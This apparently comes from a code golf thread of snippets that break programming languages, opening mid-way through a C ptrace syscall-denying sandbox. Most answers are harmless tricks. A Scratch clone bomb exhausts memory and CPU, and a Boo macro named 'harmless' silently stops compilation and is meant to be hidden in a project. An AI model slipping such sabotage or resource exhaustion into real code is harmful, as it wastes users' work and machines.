SYS_getpeername:\n#endif\n#ifdef SYS_getpgid\n case SYS_getpgid:\n#endif\n#ifdef SYS_getpgrp\n case SYS_getpgrp:\n#endif\n#ifdef SYS_getpid\n case SYS_getpid:\n#endif\n#ifdef SYS_getpmsg\n case SYS_getpmsg:\n#endif\n#ifdef SYS_getppid\n case SYS_getppid:\n#endif\n#ifdef SYS_getpriority\n case SYS_getpriority:\n#endif\n#ifdef SYS_getrandom\n case SYS_getrandom:\n#endif\n#ifdef SYS_getresgid\n case SYS_getresgid:\n#endif\n#ifdef SYS_getresgid32\n case SYS_getresgid32:\n#endif\n#ifdef SYS_getresuid\n case SYS_getresuid:\n#endif\n#ifdef SYS_getresuid32\n case SYS_getresuid32:\n#endif\n#ifdef SYS_getrlimit\n case SYS_getrlimit:\n#endif\n#ifdef SYS_get_robust_list\n case SYS_get_robust_list:\n#endif\n#ifdef SYS_getrusage\n case SYS_getrusage:\n#endif\n#ifdef SYS_getsid\n case SYS_getsid:\n#endif\n#ifdef SYS_getsockname\n case SYS_getsockname:\n#endif\n#ifdef SYS_getsockopt\n case SYS_getsockopt:\n#endif\n#ifdef SYS_get_thread_area\n case SYS_get_thread_area:\n#endif\n#ifdef SYS_gettid\n case SYS_gettid:\n#endif\n#ifdef SYS_gettimeofday\n case SYS_gettimeofday:\n#endif\n#ifdef SYS_getuid\n case SYS_getuid:\n#endif\n#ifdef SYS_getuid32\n case SYS_getuid32:\n#endif\n#ifdef SYS_getxattr\n case SYS_getxattr:\n#endif\n#ifdef SYS_inotify_add_watch\n case SYS_inotify_add_watch:\n#endif\n#ifdef SYS_inotify_init\n case SYS_inotify_init:\n#endif\n#ifdef SYS_inotify_init1\n case SYS_inotify_init1:\n#endif\n#ifdef SYS_inotify_rm_watch\n case SYS_inotify_rm_watch:\n#endif\n#ifdef SYS_ioprio_get\n case SYS_ioprio_get:\n#endif\n#ifdef SYS_kcmp\n case SYS_kcmp:\n#endif\n#ifdef SYS_lgetxattr\n case SYS_lgetxattr:\n#endif\n#ifdef SYS_listxattr\n case SYS_listxattr:\n#endif\n#ifdef SYS_llistxattr\n case SYS_llistxattr:\n#endif\n#ifdef SYS_lookup_dcookie\n case SYS_lookup_dcookie:\n#endif\n#ifdef SYS_lseek\n case SYS_lseek:\n#endif\n#ifdef SYS_lstat\n case SYS_lstat:\n#endif\n#ifdef SYS_lstat64\n case SYS_lstat64:\n#endif\n#ifdef SYS_madvise\n case SYS_madvise:\n#endif\n#ifdef SYS_mbind\n case SYS_mbind:\n#endif\n#ifdef SYS_mincore\n case SYS_mincore:\n#endif\n#ifdef SYS_mlock\n case SYS_mlock:\n#endif\n#ifdef SYS_mlockall\n case SYS_mlockall:\n#endif\n#ifdef SYS_mprotect\n case SYS_mprotect:\n#endif\n#ifdef SYS_mremap\n case SYS_mremap:\n#endif\n#ifdef SYS_munlock\n case SYS_munlock:\n#endif\n#ifdef SYS_munlockall\n case SYS_munlockall:\n#endif\n#ifdef SYS_munmap\n case SYS_munmap:\n#endif\n#ifdef SYS_name_to_handle_at\n case SYS_name_to_handle_at:\n#endif\n#ifdef SYS_nanosleep\n case SYS_nanosleep:\n#endif\n#ifdef SYS_newfstatat\n case SYS_newfstatat:\n#endif\n#ifdef SYS_nice\n case SYS_nice:\n#endif\n#ifdef SYS_oldfstat\n case SYS_oldfstat:\n#endif\n#ifdef SYS_oldlstat\n case SYS_oldlstat:\n#endif\n#ifdef SYS_oldolduname\n case SYS_oldolduname:\n#endif\n#ifdef SYS_oldstat\n case SYS_oldstat:\n#endif\n#ifdef SYS_olduname\n case SYS_olduname:\n#endif\n#ifdef SYS_pause\n case SYS_pause:\n#endif\n#ifdef SYS_perf_event_open\n case SYS_perf_event_open:\n#endif\n#ifdef SYS_personality\n case SYS_personality:\n#endif\n#ifdef SYS_pivot_root\n case SYS_pivot_root:\n#endif\n#ifdef SYS_poll\n case SYS_poll:\n#endif\n#ifdef SYS_ppoll\n case SYS_ppoll:\n#endif\n#ifdef SYS_prctl\n case SYS_prctl:\n#endif\n#ifdef SYS_pread64\n case SYS_pread64:\n#endif\n#ifdef SYS_preadv\n case SYS_preadv:\n#endif\n#ifdef SYS_prlimit64\n case SYS_prlimit64:\n#endif\n#ifdef SYS_pselect6\n case SYS_pselect6:\n#endif\n#ifdef SYS_query_module\n case SYS_query_module:\n#endif\n#ifdef SYS_read\n case SYS_read:\n#endif\n#ifdef SYS_readahead\n case SYS_readahead:\n#endif\n#ifdef SYS_readdir\n case SYS_readdir:\n#endif\n#ifdef SYS_readlink\n case SYS_readlink:\n#endif\n#ifdef SYS_readlinkat\n case SYS_readlinkat:\n#endif\n#ifdef SYS_readv\n case SYS_readv:\n#endif\n#ifdef SYS_recvfrom\n case SYS_recvfrom:\n#endif\n#ifdef SYS_recvmmsg\n case SYS_recvmmsg:\n#endif\n#ifdef SYS_recvmsg\n case SYS_recvmsg:\n#endif\n#ifdef SYS_remap_file_pages\n case SYS_remap_file_pages:\n#endif\n#ifdef SYS_request_key\n case SYS_request_key:\n#endif\n#ifdef SYS_restart_syscall\n case SYS_restart_syscall:\n#endif\n#ifdef SYS_rt_sigaction\n case SYS_rt_sigaction:\n#endif\n#ifdef SYS_rt_sigpending\n case SYS_rt_sigpending:\n#endif\n#ifdef SYS_rt_sigprocmask\n case SYS_rt_sigprocmask:\n#endif\n#ifdef SYS_rt_sigreturn\n case SYS_rt_sigreturn:\n#endif\n#ifdef SYS_rt_sigsuspend\n case SYS_rt_sigsuspend:\n#endif\n#ifdef SYS_rt_sigtimedwait\n case SYS_rt_sigtimedwait:\n#endif\n#ifdef SYS_sched_getaffinity\n case SYS_sched_getaffinity:\n#endif\n#ifdef SYS_sched_getattr\n case SYS_sched_getattr:\n#endif\n#ifdef SYS_sched_getparam\n case SYS_sched_getparam:\n#endif\n#ifdef SYS_sched_get_priority_max\n case SYS_sched_get_priority_max:\n#endif\n#ifdef SYS_sched_get_priority_min\n case SYS_sched_get_priority_min:\n#endif\n#ifdef SYS_sched_getscheduler\n case SYS_sched_getscheduler:\n#endif\n#ifdef SYS_sched_rr_get_interval\n case SYS_sched_rr_get_interval:\n#endif\n#ifdef SYS_sched_setaffinity\n case SYS_sched_setaffinity:\n#endif\n#ifdef SYS_sched_setattr\n case SYS_sched_setattr:\n#endif\n#ifdef SYS_sched_setparam\n case SYS_sched_setparam:\n#endif\n#ifdef SYS_sched_setscheduler\n case SYS_sched_setscheduler:\n#endif\n#ifdef SYS_sched_yield\n case SYS_sched_yield:\n#endif\n#ifdef SYS_select\n case SYS_select:\n#endif\n#ifdef SYS_setfsgid\n case SYS_setfsgid:\n#endif\n#ifdef SYS_setfsgid32\n case SYS_setfsgid32:\n#endif\n#ifdef SYS_setfsuid\n case SYS_setfsuid:\n#endif\n#ifdef SYS_setfsuid32\n case SYS_setfsuid32:\n#endif\n#ifdef SYS_setgid\n case SYS_setgid:\n#endif\n#ifdef SYS_setgid32\n case SYS_setgid32:\n#endif\n#ifdef SYS_setgroups\n case SYS_setgroups:\n#endif\n#ifdef SYS_setgroups32\n case SYS_setgroups32:\n#endif\n#ifdef SYS_setitimer\n case SYS_setitimer:\n#endif\n#ifdef SYS_setns\n case SYS_setns:\n#endif\n#ifdef SYS_setpgid\n case SYS_setpgid:\n#endif\n#ifdef SYS_setpriority\n case SYS_setpriority:\n#endif\n#ifdef SYS_setregid\n case SYS_setregid:\n#endif\n#ifdef SYS_setregid32\n case SYS_setregid32:\n#endif\n#ifdef SYS_setresgid\n case SYS_setresgid:\n#endif\n#ifdef SYS_setresgid32\n case SYS_setresgid32:\n#endif\n#ifdef SYS_setresuid\n case SYS_setresuid:\n#endif\n#ifdef SYS_setresuid32\n case SYS_setresuid32:\n#endif\n#ifdef SYS_setreuid\n case SYS_setreuid:\n#endif\n#ifdef SYS_setreuid32\n case SYS_setreuid32:\n#endif\n#ifdef SYS_setrlimit\n case SYS_setrlimit:\n#endif\n#ifdef SYS_set_robust_list\n case SYS_set_robust_list:\n#endif\n#ifdef SYS_setsid\n case SYS_setsid:\n#endif\n#ifdef SYS_set_thread_area\n case SYS_set_thread_area:\n#endif\n#ifdef SYS_set_tid_address\n case SYS_set_tid_address:\n#endif\n#ifdef SYS_setuid\n case SYS_setuid:\n#endif\n#ifdef SYS_setuid32\n case SYS_setuid32:\n#endif\n#ifdef SYS_sigaction\n case SYS_sigaction:\n#endif\n#ifdef SYS_sigaltstack\n case SYS_sigaltstack:\n#endif\n#ifdef SYS_signal\n case SYS_signal:\n#endif\n#ifdef SYS_signalfd\n case SYS_signalfd:\n#endif\n#ifdef SYS_signalfd4\n case SYS_signalfd4:\n#endif\n#ifdef SYS_sigpending\n case SYS_sigpending:\n#endif\n#ifdef SYS_sigprocmask\n case SYS_sigprocmask:\n#endif\n#ifdef SYS_sigreturn\n case SYS_sigreturn:\n#endif\n#ifdef SYS_sigsuspend\n case SYS_sigsuspend:\n#endif\n#ifdef SYS_socketpair\n case SYS_socketpair:\n#endif\n#ifdef SYS_stat\n case SYS_stat:\n#endif\n#ifdef SYS_stat64\n case SYS_stat64:\n#endif\n#ifdef SYS_statfs\n case SYS_statfs:\n#endif\n#ifdef SYS_statfs64\n case SYS_statfs64:\n#endif\n#ifdef SYS_sysfs\n case SYS_sysfs:\n#endif\n#ifdef SYS_sysinfo\n case SYS_sysinfo:\n#endif\n#ifdef SYS_time\n case SYS_time:\n#endif\n#ifdef SYS_timer_create\n case SYS_timer_create:\n#endif\n#ifdef SYS_timer_delete\n case SYS_timer_delete:\n#endif\n#ifdef SYS_timerfd_create\n case SYS_timerfd_create:\n#endif\n#ifdef SYS_timerfd_gettime\n case SYS_timerfd_gettime:\n#endif\n#ifdef SYS_timerfd_settime\n case SYS_timerfd_settime:\n#endif\n#ifdef SYS_timer_getoverrun\n case SYS_timer_getoverrun:\n#endif\n#ifdef SYS_timer_gettime\n case SYS_timer_gettime:\n#endif\n#ifdef SYS_timer_settime\n case SYS_timer_settime:\n#endif\n#ifdef SYS_times\n case SYS_times:\n#endif\n#ifdef SYS_ugetrlimit\n case SYS_ugetrlimit:\n#endif\n#ifdef SYS_ulimit\n case SYS_ulimit:\n#endif\n#ifdef SYS_umask\n case SYS_umask:\n#endif\n#ifdef SYS_uname\n case SYS_uname:\n#endif\n#ifdef SYS_unshare\n case SYS_unshare:\n#endif\n#ifdef SYS_uselib\n case SYS_uselib:\n#endif\n#ifdef SYS_ustat\n case SYS_ustat:\n#endif\n#ifdef SYS_wait4\n case SYS_wait4:\n#endif\n#ifdef SYS_waitid\n case SYS_waitid:\n#endif\n#ifdef SYS_waitpid\n case SYS_waitpid:\n#endif\n return deny_all;\n#ifdef SYS_exit\n case SYS_exit:\n#endif\n#ifdef SYS_exit_group\n case SYS_exit_group:\n#endif\n /* Special case: exiting is allowed, even in -e mode,\n but the exit status is forced to 0. */\n SET_REG(pid, ARG1, 0);\n return 0;\n#ifdef SYS_fcntl\n case SYS_fcntl:\n#endif\n#ifdef SYS_fcntl64\n case SYS_fcntl64:\n#endif\n /* Special case: fcntl is allowed, but only for the *FD and *FL\n operations. This is a compromise between not allowing it at\n all, which would break some interpreters, and trying to go\n through the dozens of extended ops and figure out which ones\n can affect global state. */\n {\n int cmd = GET_REG(pid, ARG2);\n if (cmd == F_DUPFD || cmd == F_DUPFD_CLOEXEC ||\n cmd == F_GETFD || cmd == F_SETFD || cmd == F_SETFL || cmd == F_GETFL)\n return deny_all;\n }\n return 1;\n#ifdef SYS_kill\n case SYS_kill:\n#endif\n#ifdef SYS_rt_sigqueueinfo\n case SYS_rt_sigqueueinfo:\n#endif\n#ifdef SYS_rt_tgsigqueueinfo\n case SYS_rt_tgsigqueueinfo:\n#endif\n#ifdef SYS_tkill\n case SYS_tkill:\n#endif\n#ifdef SYS_tgkill\n case SYS_tgkill:\n#endif\n /* Special case: kill is allowed if and only if directed to the calling\n process. */\n {\n pid_t kpid = GET_REG(pid, ARG1);\n if (kpid == pid)\n return deny_all;\n }\n return 1;\n#ifdef SYS_mmap\n case SYS_mmap:\n#endif\n#ifdef SYS_mmap2\n case SYS_mmap2:\n#endif\n /* Special case: mmap is allowed if it is private or read-only. */\n {\n int prot = GET_REG(pid, ARG3);\n int flags = GET_REG(pid, ARG4);\n if ((flags & (MAP_SHARED|MAP_PRIVATE)) == MAP_PRIVATE)\n return deny_all;\n if (!(prot & PROT_WRITE))\n return deny_all;\n }\n return 1;\n /* Special case: open() variants are allowed only if read-only and\n not creating. */\n#ifdef SYS_open\n case SYS_open:\n#endif\n#ifdef SYS_openat\n case SYS_openat:\n#endif\n#ifdef SYS_open_by_handle_at\n case SYS_open_by_handle_at:\n#endif\n {\n int flags = ((scnum == SYS_open)\n ? GET_REG(pid, ARG2)\n : GET_REG(pid, ARG3));\n if (!(flags & O_CREAT) && ((flags & O_ACCMODE) == O_RDONLY))\n return deny_all;\n }\n return 1;\n#ifdef SYS_write\n case SYS_write:\n#endif\n#ifdef SYS_write64\n case SYS_write64:\n#endif\n#ifdef SYS_writev\n case SYS_writev:\n#endif\n#ifdef SYS_pwrite\n case SYS_pwrite:\n#endif\n#ifdef SYS_pwrite64\n case SYS_pwrite64:\n#endif\n#ifdef SYS_pwritev\n case SYS_pwritev:\n#endif\n /* Special case: optionally, the program is allowed to write to\n stderr. This opens a gaping hole in the policy, but it can be\n quite entertaining to watch programs moan about how nothing works. */\n if (allow_stderr) {\n int fd = GET_REG(pid, ARG1);\n if (fd == 2)\n return 0;\n }\n return 1;\n default:\n /* All other system calls are unconditionally denied. */\n return 1;\n }\n}\nstatic void\nusage(char *progname)\n{\n fprintf(stderr, \"usage: %s [-adeS] program args...\\n\", progname);\n fputs(\"\\t-a log allowed system calls\\n\"\n \"\\t-d log denied system calls\\n\"\n \"\\t-e deny everything, not just output\\n\"\n \"\\t-S permit writes to stderr\\n\", stderr);\n exit(2);\n}\nint\nmain(int argc, char **argv)\n{\n pid_t pid;\n int status;\n int opt;\n long last_syscall = SYS_unimplemented;\n int last_allowed = 0;\n int after_execve = 0;\n int trace_active = 0;\n int allow_stderr = 0;\n int deny_all = 0;\n int log_allowed = 0;\n int log_denied = 0;\n while ((opt = getopt(argc, argv, \"+adeS\")) != -1) {\n switch (opt) {\n case 'a': log_allowed = 1; break;\n case 'd': log_denied = 1; break;\n case 'e': deny_all = 1; break;\n case 'S': allow_stderr = 1; break;\n default:\n usage(argv[0]);\n }\n }\n if (optind == argc) {\n usage(argv[0]);\n }\n setvbuf(stdout, 0, _IOLBF, 0);\n setvbuf(stderr, 0, _IOLBF, 0);\n pid = fork();\n if (pid == -1) {\n perror(\"fork\");\n exit(1);\n } else if (pid == 0) {\n raise(SIGSTOP); /* synch with parent */\n execvp(argv[optind], argv+optind);\n perror(\"execvp\");\n exit(1);\n }\n /* If we get here, we are the parent. */\n for (;;) {\n pid_t rv = waitpid(pid, &status, WUNTRACED);\n if (rv != pid) {\n perror(\"waitpid\");\n kill(pid, SIGKILL);\n exit(1);\n }\n if (!WIFSTOPPED(status)) {\n if (WIFEXITED(status))\n printf(\"Program exited, status = %d\\n\", WEXITSTATUS(status));\n else if (WIFSIGNALED(status))\n printf(\"Program killed by signal %d\\n\", WTERMSIG(status));\n else {\n printf(\"Un-decodable status %04x\\n\", status);\n kill(pid, SIGKILL); /* just in case */\n }\n exit(0);\n }\n if (WSTOPSIG(status) == SIGSTOP && !trace_active) {\n /* This is the raise(SIGSTOP) on the child side of the fork. */\n trace_active = 1;\n xptrace(PTRACE_SEIZE, pid, 0, (void*)PTRACE_O_TRACESYSGOOD);\n xptrace(PTRACE_SYSCALL, pid, 0, 0);\n }\n else if (WSTOPSIG(status) == (SIGTRAP|0x80)) {\n if (last_syscall == SYS_unimplemented) {\n last_syscall = GET_REG(pid, NUMBER);\n /* The child process is allowed to execute normally until an\n execve() succeeds. */\n if (after_execve && deny_syscall(pid, last_syscall,\n deny_all, allow_stderr)) {\n last_allowed = 0;\n SET_REG(pid, NUMBER, SYS_unimplemented);\n } else {\n last_allowed = 1;\n if (log_allowed) {\n /* Log this now, we may not get another chance. */\n printf(\"syscall %ld...\\n\", last_syscall);\n }\n }\n } else {\n if (last_allowed ? log_allowed : log_denied) {\n long scret = GET_REG(pid, RESULT);\n printf(\"syscall %ld%s = %ld\\n\",\n last_syscall, last_allowed ? \"\" : \" (denied)\", scret);\n }\n if (last_allowed && (last_syscall == SYS_execve ||\n last_syscall == SYS_execveat)) {\n long scret = GET_REG(pid, RESULT);\n if (scret == 0)\n after_execve = 1;\n }\n last_syscall = SYS_unimplemented;\n }\n xptrace(PTRACE_SYSCALL, pid, 0, 0);\n }\n else if (WSTOPSIG(status) == SIGTRAP) {\n /* Swallow all SIGTRAPs, they are probably spurious debug events. */\n xptrace(PTRACE_SYSCALL, pid, 0, 0);\n } else {\n /* Allow all normal signals to proceed unmolested. */\n if (log_allowed) {\n printf(\"process received signal %d\\n\", WSTOPSIG(status));\n }\n xptrace(PTRACE_SYSCALL, pid, 0, (void*)(uintptr_t)WSTOPSIG(status));\n }\n }\n}\n```\n[Answer]\n# TeX\n```\n\\catcode`\\\\=10\n```\nI'm not sure this will actually work, but in theory this should break `\\` as escape character leaving you no way to fix it. Normally TeX can read and write files, now it can't write anything that depends on logic. Thus the language is now broken as defined by OP.\n**EDIT:**\nOther kill commands taken from the comments (although both might violate the code-must-be-executed rule):\n* `\\def\\fi{}\\iffalse` by [smpl](https://codegolf.stackexchange.com/users/41496/smpl) creates an un-closable if branch\n* `\\catcode13=9%` by [iwillnotexist idonotexist](https://codegolf.stackexchange.com/users/31286/iwillnotexist-idonotexist) creates a never-ending comment\n[Answer]\n# Scratch\n[![Break Scratch Image](https://i.stack.imgur.com/U159n.png)](https://i.stack.imgur.com/U159n.png) \nThe `when [timer v] > (0)` will run as soon as the code is initialised, which if you're in the editor is before you even start the code. The `when I receive (join[][])` will cause an error to be thrown every time anything is broadcast, pausing code execution if you have Developer version of Flash. The `break` function will create clones, and trigger the broadcast error. Every single clone will last two seconds then delete itself, putting strain on the stack. And every clone will respond to the `when [timer v] > (0)`, running the `break` subroutine and resetting the timer, which causes the timer code to be run again. Also, each clone will respond to every broadcast error as well, meaning the number of errors per evaluation of `break` is the number of clones squared. Did I forget to mention that the `break` function has `run without screen refresh` checked, causing the editor to freeze, jolt and lag, as well as the grabbing and allocating memory. And maxing out the CPU.\nAny code added anywhere with this running will find itself unable to create clones (300 clone limit surpassed) as well as heating up and crashing the computer running it. And grabbing memory until there is no more to grab, leaving variables misbehaving.\nAnd, after there's too much lag to trigger the `when [timer v] > (0)` block, it'll still be running `break`.\nThanks to @towerofnix for reminding me about the `when I receive` glitch I found a while back, and giving me the idea for `run without screen refresh`. If you liked this, here's the original: \n[Answer]\n# PHP\nI'm suprised that it actually works, but closing `STDOUT` and `STDERR` suppresses all output. To be sure that they will not be opened again, we open `/dev/null` three times to reassign the file descriptors 0, 1 and 2:\n```\n\n[Answer]\n## Mathematica / Wolfram Language\nMathematica is an interpreted language in which command names are symbols that can be manipulated by the programmer. You can't delete built-in operators, but you can overload them or otherwise modify their function. The following scrambles the \"With\" command, which is needed for assignment to variables even internally. This change prevents the kernel from holding arguments unevaluated until the assignment is complete, and it kills the language quite dead.\n```\nClearAttributes[\"With\", HoldAll]\n```\nIf this command is run in an interactive session or within a block of code, Mathematica will not even be able add `1+1` (the resulting error message is about a page long so I won't include it here).\n[Answer]\nDOS batch (prior to Windows 95 I believe)\n```\nCTTY\n```\nIssued with no arguments, this disconnects the command line from the terminal. Any further attempts to read input or generate output don't do anything.\nIn case you wanted to know how to use CTTY correctly:\n```\nMODE COM1,8600,8,N,1\nCTTY COM1\n```\nA slightly more powerful batch file could even answer the modem and connect whatever dialed in to CTTY.\n[Answer]\n# Common Lisp\n```\n(set-macro-character #\\( (lambda (x y) ()))\n```\nI hope you didn't need those opening parentheses.\nThis is a reader macro that tells the Lisp Reader to replace each instance of `(` with a call to `(lambda (x y) ())`, a function that takes two arguments and returns nothing. So, for example, it would read `(foo)` as `foo)`, interpret `foo` as a variable and then throw an unmatched parenthesis error on `0`.\n[Answer]\n# Scratch\nHere's a pretty simple example that will crash your browser (and, in theory, your computer):\n[![Instant crash](https://i.stack.imgur.com/FQX23.png)](https://i.stack.imgur.com/FQX23.png)\nI left this running for about twenty seconds, then lost 2.65 GB of memory to Scratch. Only a moment later and 5 GB were gone.\nI highly suggest you have a means to force quit either Adobe Flash or your web browser before running this!\n---\nI *really* wanted to make a cool answer like the `clear(this)` JS one but sadly Scratch doesn't have any ways to do that. Feel free to update this post (or make your own) if you DO find another way to make Scratch unusable though!\n[Answer]\n# Thue\n```\n::=\n```\nWith a newline at the end\nThe thue language relies on defining rulesets and a `::=` denotes the end of the ruleset. It is impossible to do **ANYTHING** in thue without defining rules that do it, so regardless of what you put after the `::=`, nothing can happen.\nAlternative answer\n```\nA::=\nB::=\nC::=\nD::=\nE::=\nF::=\nG::=\nH::=\n```\n(and so on for the every character in all of Unicode including those before the `A` character and non-printable characters). This requires the command-line option `-r`.\n[Answer]\n# [Befunge-96](https://tio.run/#befunge-96-mtfi)\n```\n'~h\n```\nThe user's code can follow anywhere after this sequence, as long as these are the first three characters in the source.\nThe `'` command (one-shot string mode) pushes the ASCII value of the `~` onto the stack (i.e. 126), and the `h` command then sets what is known as the *Holistic Delta* with that value. For those not familiar with Befunge-96, the *Holistic Delta* is an offset that is added to the value of every command byte that the interpreter encounters.\nOnce the delta is set to 126, the only valid command that can be generated is `~` (character input), via a null byte in the source. Anything other than a null byte would translate to a value greater than 126, and none of those values would be valid Befunge commands.\nI think it's safe to say that this would make it ineligible to qualify as a programming language.\n[Answer]\n# MATLAB\nThe following piece of code makes the environment completely unusable1:\n```\nbuiltin = @(varargin)false; clear = @(varargin)false;\n%// Insert code after this point\n```\nThis overrides the [`builtin`](http://www.mathworks.com/help/matlab/ref/builtin.html) function and the [`clear`](http://www.mathworks.com/help/matlab/ref/clear.html) function with new anonymous function handles that simply return `false` every time you try and call these functions. The `builtin` function ensures that if there are any custom functions you write in MATLAB that are the same name as those that are built-in to MATLAB (things like `sum`, `max`, `min`, etc.), you are able to call these unambiguously instead of the overloaded functions. Similarly, `clear` gives you the ability to clear all variables that are currently declared so you can start anew. By removing these capabilities, there is no way that you can use MATLAB unless you restart the program.\nIn MATLAB R2015a, I also get the following message:\n[![enter image description here](https://i.stack.imgur.com/mtDWr.png)](https://i.stack.imgur.com/mtDWr.png)\nThe Workspace are the variables that are currently declared in the environment so that you can use them for later. This permanently disables the Workspace, so any variables you try and create will not be saved and hence no progress can be made when executing lines of code in MATLAB.\n1: Credit goes to user [Dev-iL](https://stackoverflow.com/users/3372061/dev-il) who originally discovered the idea.\n[Answer]\n# ///\n```\n/\\///\n```\nThe only operation in /// is repeated string substitution, like this: `/pattern/replacement/`.\nThis code removes every `/`, that way you can't use repeated string substitution, so basically everything you write after that will get printed (except for `/`s).\nYou can still use `\\`s, but that won't help you much.\n[Answer]\n# [Boo](https://github.com/bamboo/boo/)\n```\nmacro harmless:\n Context.Parameters.Pipeline.Clear()\n```\nAnd then, somewhere else in the project,\n```\nharmless\n```\nA simple macro with a harmless-sounding name, but an amazingly frustrating effect. The Boo compiler uses a multi-step pipeline that begins with parsing source into an AST and ends with code generation. (Generally. It can be reconfigured for various applications.) Every step in between performs various operations on the AST.\nPartway through is the macro expansion stage, in which macros are executed in the context of the compiler. Remember the bit in the last paragraph, about the pipeline being reconfigurable? If, during macro expansion, you invoke a macro that clears the pipeline, no error will be displayed to the user, but all steps after macro expansion (including code generation) are no longer there. So you end up with something that *looks* like a successful compilation--no error messages displayed--but for some reason there's no binary produced! Guaranteed to drive even the best troubleshooters up the wall, if you hide the macro and the invocation well.\n[Answer]\n# NGN/APL\nNGN/APL allows redefining primitives, so redefining (`←`) all primitive functions to `⊢` (\"pass through\": both `⊢3` and `2⊢3` gives `3`) makes the language completely useless:\n```\n⍪←-←+←?←⍵←∊←⍴←~←↑←↓←⍳←○←*←⌈←⌊←⍕←⊂←⊃←∩←∪←⊥←⊤←|←<←≤←=←≥←>←≠←∨←∧←×←÷←⍒←⍋←⌽←⍉←⊖←⍟←⍱←⍲←!←⌹←⊣←⍎←⊢\n```\n[Try it here.](http://ngn.github.io/apl/web/#code=%u236A%u2190-%u2190+%u2190%3F%u2190%u2375%u2190%u220A%u2190%u2374%u2190%7E%u2190%u2191%u2190%u2193%u2190%u2373%u2190%u25CB%u2190*%u2190%u2308%u2190%u230A%u2190%u2355%u2190%u2282%u2190%u2283%u2190%u2229%u2190%u222A%u2190%u22A5%u2190%u22A4%u2190%7C%u2190%3C%u2190%u2264%u2190%3D%u2190%u2265%u2190%3E%u2190%u2260%u2190%u2228%u2190%u2227%u2190%D7%u2190%F7%u2190%u2352%u2190%u234B%u2190%u233D%u2190%u2349%u2190%u2296%u2190%u235F%u2190%u2371%u2190%u2372%u2190%21%u2190%u2339%u2190%u22A3%u2190%u234E%u2190%u22A2%0A2+3)\n[Answer]\n# Ruby (29 characters)\n```\nclass Object;def send;end;end\n```\nAs 'send' is used internally whenever a method is called within Ruby, and since all objects inherit from the Object class. This should stop any method being run.\n*Fun Fact:* This is perfectly sound in theory. But it appears, for some reason, not to hobble the Ruby language. I have no idea why it's possible to run this code and then still use an open Ruby environment.\n[Answer]\n# Taxi, 2354 bytes.\nThis little program simply runs the taxi in a large joyride through Townsburg, running out of gas. Any code you run after this will quickly error with `error: out of gas`. And even if you could reach a gas station, which I don't think is possible, you couldn't get any gas, as no money has been collected, since there are no passengers.\n```\nGo to Trunkers: west, 1st right, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st left, 1st left, 1st right.\n```\n[Answer]\n## Tcl\n```\nforeach x [info commands] {if {$x!=\"rename\"&&$x!=\"if\"} {rename $x \"\"}}\n```\nThis removes all keywords from the language except `if` and `rename`.\nThe above code would cause any new code to error out. So it's debatable if the new inserted code actually gets \"executed\". Below is a version that executes new code but does nothing because it changes all keywords (except `if` and `proc`) to a no-operation:\n```\nforeach x [info commands] {if {$x!=\"if\"&&$x!=\"proc\"} {\n proc $x args {}\n}}\n```\nInstead of deleting keywords this code replaces them with a function that does nothing.\n(Note: I'm using \"keywords\" very loosely here because Tcl doesn't have keywords, only functions)\n[Answer]\n# [Factor](https://factorcode.org/)\n```\nUNUSE: syntax\n```\n[Try it online!](https://tio.run/##S0tMLskv@v8/1C802NVKobgyrySx4v9/AA \"Factor – Try It Online\")\nIt's not a joke, you can really unload the \"built-in\" syntax elements. And then you cannot write anything useful: you can't load any library, you can't define a named function or a lambda, you can't take input from stdin (or anything) or print to stdout (or anything). The engine still tries to parse the source code; it just fails because it forgot everything it needs to know.\nThere is still one thing that works: pushing number literals (which seems to be built into the engine itself). But you can't do any arithmetic or interesting stuff with them.\n[Answer]\n# [Zsh](https://www.zsh.org/), 6 bytes\n```\nset -n\n```\n[Try it online!](https://tio.run/##qyrO@P@/OLVEQTfv/38A \"Zsh – Try It Online\")\nzsh has an option `no_exec` or `-n` which permanently disables all commands. I have absolutely no idea why.\n[Answer]\n# JavaScript in browser\nWell, at least in IE11.\n```\nwindow.addEventListener(\"error\", function(){});\ndocument = document.write = alert = prompt = confirm = console = void(\n (function (window) {\n try {\n //Code goes here\n } catch (e) {}\n })({})\n);\n```\nDisables writing to the document, writing to the global variable and returning from the function.\nComment if I've missed out an output 